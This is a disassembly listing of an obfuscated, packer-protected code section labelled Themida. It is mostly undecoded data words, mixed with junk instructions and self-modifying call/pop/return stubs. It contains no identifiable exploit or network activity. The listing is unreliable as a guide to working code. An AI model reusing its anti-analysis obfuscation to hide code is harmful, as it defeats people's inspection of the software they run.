dd 0B4E3F2FEh, 0BA185F7Ah, 4CF3CAB2h, 0FF73E95Ah, 9D23FFFFh
dd 60B01E9h, 106C7h, 0C2800000h, 7CBD8373h, 5060B4Dh, 12F850Fh
dd 6A0000h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
dd 0FCA3C9C3h, 0ABEDAE7Eh, 0B58BD18Bh, 60B2F4Dh, 2098D89h
dd 10E8060Bh, 2B000000h, 0A40052D7h, 47D786BBh, 6FD9A36h
dd 5164D103h, 5A5A5B52h, 64B9h, 55006A00h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 0AA065255h
dd 39266FF7h, 0DDD958Bh, 0C281060Bh, 5CBE9A5Fh, 0A91E7BBh
dd 0E83E8014h, 37840Fh, 10E80000h, 70000000h, 4B6BB8E0h
dd 0B52BD1C0h, 749EF1B1h, 8B11E0DFh, 0B196D95h, 23E95B06h
dd 0E8000000h, 0Ah, 2F33AECCh, 0EC99B16Dh, 0BD894976h
dd 60B2B61h, 57E805Bh, 49840FC2h, 80000000h, 894644E2h
dd 0B2879BDh, 850F4906h, 0FFFFFFA5h, 6890Fh, 958B0000h
dd 60B0E95h, 40E9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1904h, 0C3524200h, 0F1DCA04Ch, 858930C3h
dd 60B1FD1h, 1881B589h, 0CE8060Bh, 1F000000h, 0E5C1ABA7h
dd 78274D91h, 0F8EBD571h, 0BF0F585Ah, 89BD83DFh, 60B31h
dd 101840Fh, 8C0F0000h, 6, 29DBD89h, 0B589060Bh, 60B0E01h
dd 11E960h, 81360000h, 329DCC22h, 4B55B80Ah, 0B4972C7Ah
dd 0C6E02A5Eh, 0B284585h, 6A5406h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 150424h, 55450000h, 0FC831C3h, 5568D2BFh
dd 66E662AFh, 81E15FBAh, 11A12434h, 11E8192Ch, 52000000h
dd 2CC65677h, 325CBDC3h, 0DD0B1593h, 0E9933C0h, 15059533h
dd 8B5A060Bh, 55B5FFDFh, 6A060B13h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 80D1C351h
dd 9D03F78Ah, 60B00ADh, 7D18858Dh, 0B70F060Eh, 50D0FFDBh
dd 5BC7CB80h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1C0424h, 52420000h, 97073DC3h, 6A53A0A9h, 0B531357Ah
dd 60B12BDh, 3189B5FFh, 9D8B060Bh, 60B026Dh, 0EA81D0FFh
dd 16323835h, 0A3D28161h, 0C7052B43h, 0B29BD85h, 106h
dd 59BD8900h, 8B060B24h, 0B20E195h, 6A6006h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 150424h, 57470000h, 6663A7C3h
dd 829CC281h, 4E8h, 8000h, 2A9EBA00h, 5750554Ah, 310F5250h
dd 8D0Fh, 585A0000h, 24448B5Ah, 8B008B04h, 244489D7h, 6A5804h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
dd 7EE086C3h, 0F6C85FAAh, 0FF6A4103h, 0FFDF8B66h, 0B1BBD95h
dd 31958B06h, 31060B0Dh, 0B291985h, 6A6106h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 313E51C3h
dd 103329DBh, 81D7CA15h, 530DF8EAh, 0CE85051h, 94000000h
dd 0BFC8EEFAh, 96E06E60h, 60F48190h, 4E2EBF66h, 4895B61h
dd 0D38B6624h, 28E9858Bh, 8B66060Bh, 0FC00BDFh, 3A84h
dd 59D8B00h, 0FF060B29h, 0B221D95h, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 0C157DE0Dh
dd 3EF8DC99h, 0B260461Ah, 0F1816684h, 0C761EE0Bh, 0B009185h
dd 106h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1C04h, 0C3554500h, 0F50AA1E2h, 88CEDF62h, 75BD83E4h
dd 60B06h, 30840Fh, 9D330000h, 60B29B9h, 7DD95FFh, 6A060Bh
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
dd 6BD4B5C3h, 1C6792D7h, 0BD830DB4h, 60B0169h, 0F840F00h
dd 81000000h, 50D96DDBh, 8995FF5Eh, 60060B1Ah, 0BD8361F5h
dd 60B0155h, 35840F00h, 83000000h, 0B00B5BDh, 850F0006h
dd 28h, 6595FFF5h, 6A060B0Fh, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 19042444h, 41000000h, 1D1AC351h, 0E9A3E4AFh
dd 29E9BD83h, 0F00060Bh, 2884h, 7D9D2300h, 81060B17h, 0B2A3585h
dd 400306h, 0B5895200h, 60B1349h, 9985815Bh, 3060B12h
dd 8B000040h, 0B114195h, 89310F06h, 0B1971B5h, 7F8D8D06h
dd 6A060B5Dh, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1C042444h, 42000000h, 0FA9DC352h, 5478947Dh, 8B9C6712h
dd 8A0189D0h, 6AC233FDh, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 16042444h, 42000000h, 4FAFC352h, 11E97Dh
dd 0DD420000h, 0CE9C8071h, 0B74BD0CFh, 63CCA841h, 0E93594B8h
dd 11h, 0A8BDB7E7h, 43FAE3B8h, 6E1DD302h, 0C4D450BBh, 4418962h
dd 66310FFCh, 8D50ACBBh, 0B5D918Dh, 0CD952906h, 51060B05h
dd 14E9h, 0E88B2B00h, 712244DEh, 5E4FBA7Fh, 8CF38853h
dd 52BA98D5h, 1895B65h, 0C2333DB2h, 68B0Fh, 0BD010000h
dd 60B163Dh, 57044189h, 5AD98B66h, 19870Fh, 0DE80000h
dd 4B000000h, 3C5F7E8Fh, 30BF98C0h, 0C053D65Dh, 1B718D89h
dd 835A060Bh, 0B0219BDh, 840F0006h, 7Dh, 0E850006Ah, 3
dd 58C35820h, 4244489h, 4244481h, 19h, 23C35040h, 0F7B80C12h
dd 14E96Dh, 0D1640000h, 4A2B4047h, 7AF8285Fh, 0DD9E18DBh
dd 0BCF94A75h, 9D8B8985h, 60B1839h, 10E9h, 0ECEFC600h
dd 0E6AE296Ch, 7A496487h, 5380C92h, 0F995FFCCh, 6A060B0Fh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h
dd 43000000h, 313FC353h, 0B15F985h, 31BD8306h, 1060B28h
dd 4B850Fh, 46E90000h, 9000000h, 0B0C55BDh, 26B58B06h
dd 0C7060B5Fh, 6, 0D1B58B00h, 0C7060B5Ch, 6, 0AE9CF00h
dd 0FE000000h, 0E6D53ACBh, 14D4E07Ch, 12E9E7h, 4D2A0000h
dd 95195A32h, 0D644025Ah, 6C2E7C34h, 0E22247D3h, 91BD83FCh
dd 60B00h, 16B840Fh, 3F50000h, 0B07C59Dh, 79BD8306h, 1060B32h
dd 142850Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1D0424h, 57470000h, 0C549D9C3h, 5632F19Dh, 0E8E4A40Bh
dd 0Fh, 1F7DC7Eh, 27477EC7h, 95A3F052h, 80A5382Ch, 8B5ACEDEh
dd 0B4D708Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1C04h, 0C3514100h, 0B37AA0BAh, 1F750089h, 8D2360B5h
dd 60B04F5h, 29A1850Bh, 0C661060Bh, 6A0001h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 1024C8C3h
dd 0BF0755FCh, 60DF8BE9h, 158D9D8Bh, 4E8060Bh, 80000000h
dd 0F000000h, 0A8Fh, 7AB06000h, 850Fh, 50610000h, 8BD68B66h
dd 0B7042444h, 0B6008B50h, 2444890Eh, 4115BA04h, 89581D36h
dd 0B039985h, 8BFF6A06h, 0B321D95h, 0BD95FF06h, 29060B1Bh
dd 0B12959Dh, 6A6106h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1B0424h, 53430000h, 79F2CCC3h, 92CE099Bh, 0D7BF0F38h
dd 2B3D95FFh, 958B060Bh, 60B0951h, 6890Fh, 958B0000h, 60B29D5h
dd 4D708D8Bh, 0B589060Bh, 60B280Dh, 0B50101FEh, 60B03B9h
dd 0CDBD83h, 0F01060Bh, 885h, 95095300h, 60B0E4Dh, 0B2C08B5Bh
dd 0BDBD8381h, 60B05h, 0BD830975h, 60B29D1h, 501A7400h
dd 8BC08B53h, 0B2A3585h, 35858906h, 8D060B2Ah, 0DB31A9Dh
dd 5BD3FF06h, 0D1BD8358h, 60B29h, 53501874h, 2A35858Bh
dd 8589060Bh, 60B2A35h, 0B0099D8Dh
dd 0D3FF060Dh, 6A585Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 160424h, 56460000h, 8B7C3FC3h, 7899D8Bh, 8166060Bh
dd 0E9C555DAh, 6, 0ED030293h, 0C08B39EEh, 0E852006Ah, 3
dd 5AC35A20h, 4245489h, 4244481h, 1Bh, 14C35242h, 0C3C4E3C2h
dd 0FA3F5D5h, 48Fh, 0F38A5100h, 9D9D895Bh, 83060B0Dh, 0B0091BDh
dd 850F0006h, 33h, 145F55BAh, 0E9BD8344h, 60B14h, 21840Fh
dd 5E80000h, 0EE000000h, 32D5AED6h, 11E9h, 78812C00h, 0B6E7C53Bh
dd 0B772D309h, 920399DEh, 835ABA1Bh, 0B0091BDh, 840F0006h
dd 18h, 60E38166h, 5BD8385h, 60B28h, 6840Fh, 958B0000h
dd 60B283Dh, 91BD83h, 0F00060Bh, 3984h, 57006A00h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
dd 0B0E8DDA3h, 8D9D8B7Eh, 83060B24h, 0B2805BDh, 840F0006h
dd 6, 3B59D29h, 0BD83060Bh, 60B0091h, 38840F00h, 6A000000h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 17042444h
dd 40000000h, 24E2C350h, 0BD8320A2h, 60B2EF1h, 0C840F00h
dd 0F000000h, 68Ch, 0F18D0100h, 83060B00h, 0B0091BDh, 840F0006h
dd 40h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h
dd 0FEC35545h, 0B29E1995h, 5DBD8324h, 60B2Eh, 12840Fh
dd 9D8B0000h, 60B31C9h, 2ADD95FFh, 0B531060Bh, 60B0399h
dd 860FC08Bh, 5, 2BE28166h, 0BDBD83FDh, 60B05h, 0BD830975h
dd 60B29D1h, 501A7400h, 8BC08B53h, 0B129985h, 99858906h
dd 8D060B12h, 0DB3819Dh, 5BD3FF06h, 0D1BD8358h, 60B29h
dd 53501874h, 1299858Bh, 8589060Bh, 60B1299h, 0B0229D8Dh
dd 0D3FF060Dh, 0BB66585Bh, 6AC55Fh, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 150424h, 52420000h, 8B67C6C3h
dd 0B011195h, 6AC08B06h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 19042444h, 46000000h, 4F4AC356h, 7F4ACBEEh
dd 1815B589h, 0BD83060Bh, 60B0091h, 0E840F00h, 0F000005h
dd 0B8Ah, 0E7806000h, 7DBD8BF7h, 61060B2Ah, 1FDDBD83h
dd 0F02060Bh, 1984h, 0E99D0100h, 83060B0Eh, 0B2831BDh
dd 850F0106h, 6, 18459D89h, 0BD83060Bh, 60B1FF9h, 0FA840F00h
dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1B042444h, 45000000h, 217CC355h, 4C549212h, 60FCDA5Dh
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 5BC35242h
dd 12E538ECh, 896FAA2Eh, 0B1379BDh, 8BB9B706h, 0B4D708Dh
dd 51958B06h, 0FE060B0Fh, 0E8C4B201h, 4, 80h, 50DE8B66h
dd 448B90B2h, 85B30424h, 8D0F008Bh, 0Ah, 61605250h, 6160310Fh
dd 4489585Ah, 6A580424h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 14042444h, 41000000h, 89DAC351h, 0B24158Dh
dd 2CDA8006h, 7E8h, 3EB89D00h, 6F128CDAh, 6860Fh, 0B5890000h
dd 60B05EDh, 0B3FF6A5Bh, 0BD95FFEBh, 1060B1Bh, 0B05F195h
dd 6A6106h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
dd 51410000h, 0ECE74BC3h, 8D8B60FCh, 60B4D70h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 5CC35242h, 0CF740EF9h
dd 3810Fh, 0CB800000h, 6A01FEFFh, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 288DC357h
dd 0B59D2396h, 80060B1Fh, 12E920D3h, 22000000h, 9C335550h
dd 9B1260F3h, 0CBF8FF68h, 0C36CFE6Ch, 55EA687Dh, 13E8500Dh
dd 48000000h, 0B9EB988Ch, 7943471Ah, 1737186Ah, 4639BEC8h
dd 0FE9562Eh, 55000000h, 0B6DCAF45h, 0C9A0FF60h, 0DFE6FDFh
dd 815B4DA5h, 556A2434h, 6A500Dh, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1A0424h, 51410000h, 7B48F3C3h, 0BACA461Dh
dd 0BE9F8h, 507E0000h, 980CF291h, 9FBC6B6Bh, 23FF6A43h
dd 0B2A5195h, 0BD95FF06h, 0F5060B1Bh, 53006A61h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h
dd 90560913h, 8D0E1CC1h, 0B043DBDh, 0EC76BB06h, 890F383Ch
dd 0Fh, 7E853h, 74BC0000h, 8B982CF5h, 8B5B5BE7h, 958B1C4Fh
dd 60B1871h, 9D8B016Ah, 60B0EE9h, 56525050h, 7E8h, 665FE800h
dd 6A0BCCB0h, 310F5B5Bh, 48B0Fh, 0BB660000h, 585A8452h
dd 33240C89h, 0B179595h, 0CA858D06h, 6A060E3Eh, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
dd 7877C353h, 8D1D00A1h, 0BA5163F3h, 41C22ACCh, 3870Fh
dd 0CB800000h, 29D0FF26h, 0B218D9Dh, 204F8B06h, 840Fh
dd 80530000h, 6A5A11F3h, 0C5952903h, 89060B29h, 0B0C35B5h
dd 8B665006h, 240C89D9h, 12E9h, 4D15E500h, 0E3CA79E3h
dd 0BEB6024Ch, 0F7A041Fh, 8D6E8D06h, 0E3ECA85h, 65952906h
dd 0FF060B13h, 0F5958BD0h, 8B060B03h, 0B31ED9Dh, 3DBD8D06h
dd 6A060B04h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1C042444h, 41000000h, 0F51C351h, 0E2C96D77h, 89147D7Ah
dd 0B0741BDh, 8BE1B606h, 85891C4Fh, 60B19EDh, 0CD950960h
dd 0E9060B08h, 0Fh, 0FEBB7CCFh, 80FACEA1h, 0BE6B5D8Fh
dd 61F210FAh, 6A016Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 140424h, 51410000h, 8F0FAEC3h, 6, 3339B531h, 0E850060Bh
dd 14h, 5521C9CAh, 4459708Ah, 0CC2C8927h, 9BF943C7h, 0BE0C1889h
dd 0AE952h, 43820000h, 0CA0D95CAh, 7629243Fh, 0C895A5Bh
dd 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h
dd 0C3574700h, 8166C6B8h, 8D1285F3h, 0E3ECA85h, 0C0BB6606h
dd 619589F0h, 0FF060B28h, 8FBB66D0h, 59CFBB29h, 4F8B2EF3h
dd 71958B20h, 6A060B17h, 0E9DF8B03h, 0Ah, 0B0140F78h, 86124D8Ah
dd 0E8919598h, 0Bh, 955E3966h, 7BB7B5F9h, 6625A982h, 5B37D1BBh
dd 912BB750h, 0CA858DF5h, 0F060E3Eh, 686h, 498D8900h, 66060B27h
dd 69DCD281h, 9D89D0FFh, 60B31B1h, 4D708D8Bh, 9589060Bh
dd 60B1069h, 952B01FEh, 60B0E1Dh, 4D70858Bh, 6A060Bh, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
dd 3F1BDDC3h, 12E9h, 66066600h, 5D4F0FB9h, 3A3627ABh, 70E89D12h
dd 60A701D7h, 8DBD0156h, 58060B22h, 0D19D2950h, 5E060B27h
dd 6600FE61h, 16ADA8Bh, 5F6F68F5h, 0DE8A90A3h, 90243481h
dd 8B6F5CC0h, 0B0B399Dh, 0D4858D06h, 81060E3Eh, 5336DCF3h
dd 3D0FF53h, 0B249D9Dh, 0E9BD8306h, 60B14h, 105840Fh, 10E90000h
dd 60000000h, 0E9D09D8Ah, 0BC34961Ch, 952B7136h, 83E56A84h
dd 0B0B19BDh, 850F0106h, 0E3h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 19h, 54C35343h, 382E90FDh, 0C19D8BC7h
dd 8D060B02h, 0E3EDE8Dh, 0CE9CBB06h, 14E85AAFh, 3F000000h
dd 90D43CB3h, 9CC110FFh, 33EC0439h, 6F6D1505h, 80F976DCh
dd 6A5A6CCBh, 0E2B06003h, 16799589h, 6A61060Bh, 56006A01h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
dd 0D1FFC926h, 5ED8D89h, 16A060Bh, 0DE9h, 8EF9DC00h, 0BB7CCFAAh
dd 0FACEA1FEh, 16A8F80h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 15h, 92C35040h, 0E59D8929h, 80060B0Ah, 0D1FFC0E7h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 1FC35040h
dd 505BD7E8h, 6AFC8AFAh, 94E38120h, 6A5BB792h, 69C380FFh
dd 1BBD95FFh, 8F0F060Bh, 3, 0B8D08B66h, 0
; ---------------------------------------------------------------------------
mov [ebp+60B2DF1h], esi
or eax, eax
jz loc_542ACF
sub [ebp+60B1969h], ebx
cmp dword ptr [ebp+60B2F21h], 0
jz loc_542ACF
mov dx, 6BE3h
call dword ptr [ebp+60B101Dh]
push 0
push edi
call sub_542AB2
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_542AB2 proc near ; CODE XREF: Themida_:00542AAAp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Bh
inc edi
push edi
retn
sub_542AB2 endp
; ---------------------------------------------------------------------------
dw 0EF5Fh
dd 77AFA6AFh, 0FEBB558Dh
db 0BAh, 0Fh, 2Ah
; ---------------------------------------------------------------------------
loc_542ACF: ; CODE XREF: Themida_:00542A84j
; Themida_:00542A97j
mov eax, [ebp+60B2EC5h]
mov bx, 5E56h
mov byte ptr [eax], 0
movsx ebx, dx
push ecx
mov bl, 13h
pop ebx
pop eax
stc
mov cx, ds
push 0
push eax
call sub_542AF3
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_542AF3 proc near ; CODE XREF: Themida_:00542AEBp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 19h
inc eax
push eax
retn
sub_542AF3 endp
; ---------------------------------------------------------------------------
retf 7961h
; ---------------------------------------------------------------------------
dw 0BD68h
dd 0BEEA80A3h, 0F04C1F6h, 5E84h, 69D78000h, 56E9h, 0BE900h
dd 0BAC10000h, 0AE88C8B1h, 0AC8F6917h, 75B58BA5h, 0E8060B1Fh
dd 5, 0C50CD5A8h, 5B40B3A2h, 1180C681h, 6A0000h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
dd 0E5D744C3h, 19B88E57h, 0C7DF8BDBh, 6, 5EF48A00h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0D8C35141h, 85897599h
dd 60B2479h, 531BD89h, 0EE80060Bh, 0F883D6h, 0BA3840Fh
dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
dd 51410000h, 0C7BC73C3h, 45F3EF73h, 0F883BEBDh, 0B9850F01h
dd 6A000001h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 14042444h, 40000000h, 0F17C350h, 682h, 65B58900h, 0B8060B0Ch
dd 0
; ---------------------------------------------------------------------------
add [ebp+60B2ED5h], ecx
or eax, eax
jz loc_542CFF
push 0
push edx
call sub_542C1D
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_542C1D proc near ; CODE XREF: Themida_:00542C15p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 15h
inc edx
push edx
retn
sub_542C1D endp
; ---------------------------------------------------------------------------
sbb al, 6Eh
jmp loc_542C44
; ---------------------------------------------------------------------------
dd 62DC1B9Ch, 0AEBA7C40h, 0E0997DF1h, 0F59ABE0Bh
; ---------------------------------------------------------------------------
loc_542C44: ; CODE XREF: Themida_:00542C2Fj
mov [ebp+60B00C1h], edi
cmp eax, 1
jz loc_542D1F
mov bx, 25EBh
push edx
push esi
mov edx, 7BAEBAA8h
pop edx
pop edx
cmp eax, 3
jz loc_542CA8
sub [ebp+60B093Dh], ebx
sub eax, eax
push 0
push ebx
call sub_542C7C
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_542C7C proc near ; CODE XREF: Themida_:00542C74p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Dh
inc ebx
push ebx
retn
sub_542C7C endp
; ---------------------------------------------------------------------------
and ebp, [esi+4CE839B8h]
adc [edi+ebx+0Ah], eax
lea edi, dword_5B7974[ebp]
mov bx, 9361h
jmp edi
; ---------------------------------------------------------------------------
mov ebx, [ebp+60B0C41h]
loc_542CA8: ; CODE XREF: Themida_:00542C63j
; Themida_:00542DF4j
mov eax, 1
push 0
push edi
call sub_542CB8
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_542CB8 proc near ; CODE XREF: Themida_:00542CB0p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Dh
inc edi
push edi
retn
sub_542CB8 endp
; ---------------------------------------------------------------------------
dd 2BF7B62Dh, 7E0AF023h, 0BE92AACh, 0D5000000h, 5AA0DA9Ah
dd 9D4E5BAFh, 0BB665F8Ch, 0BD8D8CB2h, 5B7974h, 2B02CABBh
dd 7D958929h, 0FF060B17h, 0B1BD89E7h
db 15h, 0Bh, 6
; ---------------------------------------------------------------------------
loc_542CFF: ; CODE XREF: Themida_:00542C0Cj
lea edi, [ebp+60B43FCh]
and bh, 4Fh
jmp loc_542FBF
; ---------------------------------------------------------------------------
mov [ebp+60B0439h], esi
jbe loc_542D1F
mov [ebp+60B0945h], ecx
loc_542D1F: ; CODE XREF: Themida_:00542C4Dj
; Themida_:00542D13j ...
mov dword ptr [ebp+60B4DCBh], 5
push 0
push ebp
call sub_542D34
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_542D34 proc near ; CODE XREF: Themida_:00542D2Cp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 17h
inc ebp
push ebp
retn
sub_542D34 endp
; ---------------------------------------------------------------------------
dd 0B4F4AC50h, 9D8B2CB7h, 60B029Dh, 10880Fh, 0BE90000h
dd 0A0000000h, 1106ABF6h, 936DF13Eh, 5B8033Eh, 0F000000h
dd 1680h, 0BE800h, 5D9F0000h, 154AB9BBh, 0AF4668FCh, 0B707BB17h
dd 0E95B35FEh, 93Fh, 2A86BB66h, 0F02F883h, 10085h, 619D8B00h
dd 0B8060B1Ah, 0
; ---------------------------------------------------------------------------
push 0
push ebp
call sub_542DAF
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_542DAF proc near ; CODE XREF: Themida_:00542DA7p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 17h
inc ebp
push ebp
retn
sub_542DAF endp
; ---------------------------------------------------------------------------
jnp short near ptr loc_542E0A+7
adc al, 13h
jmp loc_542DD1
; ---------------------------------------------------------------------------
dd 4D40991Dh, 0D80FEC60h
db 0ECh
; ---------------------------------------------------------------------------
loc_542DD1: ; CODE XREF: Themida_:00542DC3j
mov edx, 6085A173h
or eax, eax
jz loc_542E65
mov edx, eax
cmp eax, 1
jz loc_542D1F
mov ebx, esi
mov [ebp+60B244Dh], esi
cmp eax, 3
jz loc_542CA8
push 0
push eax
call sub_542E05
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_542E05 proc near ; CODE XREF: Themida_:00542DFDp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
loc_542E0A: ; CODE XREF: Themida_:00542DBFj
add [esp-4+arg_4], 1Ch
inc eax
push eax
retn
sub_542E05 endp
; ---------------------------------------------------------------------------
db 0E5h, 0FAh, 0F5h
; ---------------------------------------------------------------------------
rcl ah, cl
pop esi
retf 8722h
; ---------------------------------------------------------------------------
mov ebx, [ebp+60B2471h]
mov eax, 0
mov [ebp+60B1861h], edx
lea edi, dword_5B7974[ebp]
pusha
mov ch, 1Ah
popa
jmp edi
; ---------------------------------------------------------------------------
push 0
push esi
call sub_542E46
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_542E46 proc near ; CODE XREF: Themida_:00542E3Ep
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ch
inc esi
push esi
retn
sub_542E46 endp
; ---------------------------------------------------------------------------
dw 729Bh
dd 9749AB6Fh, 1B251ABh, 0B29ED95h
; ---------------------------------------------------------------------------
push es
loc_542E65: ; CODE XREF: Themida_:00542DD8j
lea edi, [ebp+60B45F4h]
sub [ebp+60B05B1h], edi
jmp loc_542FBF
; ---------------------------------------------------------------------------
push 0
push edx
call sub_542E81
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_542E81 proc near ; CODE XREF: Themida_:00542E79p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Bh
inc edx
push edx
retn
sub_542E81 endp
; ---------------------------------------------------------------------------
db 4Dh, 0CDh, 0BCh
dd 99E0D719h, 3F883ADh, 21850Fh, 0BF0F0000h, 88BD8DD1h
dd 80060B47h, 0CE906C3h, 29000001h, 0B19799Dh, 4890F06h
dd 66000000h, 83637BBBh, 850F05F8h, 2Dh, 0E321C7BBh, 7F5E917h
dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
dd 53430000h, 0DA336BC3h, 0BF0F30EFh, 6F883D2h, 1F850Fh
dd 0BD890000h, 60B0B09h, 4980BD8Dh, 0DA8B060Bh, 13F99D23h
dd 0A4E9060Bh, 33000000h, 0B066995h, 7F88306h, 1D850Fh
dd 85890000h, 60B0EC9h, 24BDBD8Dh, 952060Bh, 0B20998Dh
dd 49E95B06h, 60000001h, 8361D18Bh, 850F0AF8h, 6Fh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 1C35646h, 397F0661h
dd 85BD29D5h, 8D060B09h, 0B4B78BDh, 159D8B06h, 0E9060B0Dh
dd 37h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch
dd 7EC35646h, 1B55C854h, 470DC037h, 0EE9h, 0E6578D00h
dd 0FA4E6Eh, 9DFBC2BCh
; ---------------------------------------------------------------------------
xchg eax, edi
fucomip st, st(5)
loc_542FBF: ; CODE XREF: Themida_:00542D08j
; Themida_:00542E71j
push edi
jmp loc_542FCE
; ---------------------------------------------------------------------------
db 60h, 2Dh, 73h
dd 0E5DA614Dh
db 0FCh, 0D8h
; ---------------------------------------------------------------------------
loc_542FCE: ; CODE XREF: Themida_:00542FC0j
mov ecx, 3CEB60E2h
push 0
push edx
call sub_542FDE
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_542FDE proc near ; CODE XREF: Themida_:00542FD6p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Dh
inc edx
push edx
retn
sub_542FDE endp
; ---------------------------------------------------------------------------
enter 0FFFFE56Ch, 5Eh
imul edx, eax, 7F5B2EC5h
push ebx
sbb dx, 9CE0h
pop ebx
cmp dword ptr [edi], 0
jz loc_54305E
push 0
push eax
call sub_543013
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_543013 proc near ; CODE XREF: Themida_:0054300Bp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ah
inc eax
push eax
retn
sub_543013 endp
; ---------------------------------------------------------------------------
db 42h
dd 3E68A4CFh, 0F306B8Ah, 0BAD88B66h, 643FC9BBh, 72BAC9D1h
dd 475686C2h, 5587BA66h, 0FFFFBAE9h, 11E960FFh, 5000000h
dd 0B6B010A8h, 0B1E4F51Ch, 28B76CF2h, 0C2DDED80h
; ---------------------------------------------------------------------------
cld
popa
loc_54305E: ; CODE XREF: Themida_:00543002j
pop edi
push 0
push edx
call sub_54306A
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_54306A proc near ; CODE XREF: Themida_:00543062p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Dh
inc edx
push edx
retn
sub_54306A endp
; ---------------------------------------------------------------------------
retn 0FF04h
; ---------------------------------------------------------------------------
db 64h, 41h, 0DFh
dd 0E82F4857h, 0BD89D98Bh, 60B3235h, 4D74BD89h, 0F98A060Bh
dd 16C58D8Dh, 6A060Bh, 3E850h, 58200000h, 448958C3h, 44810424h
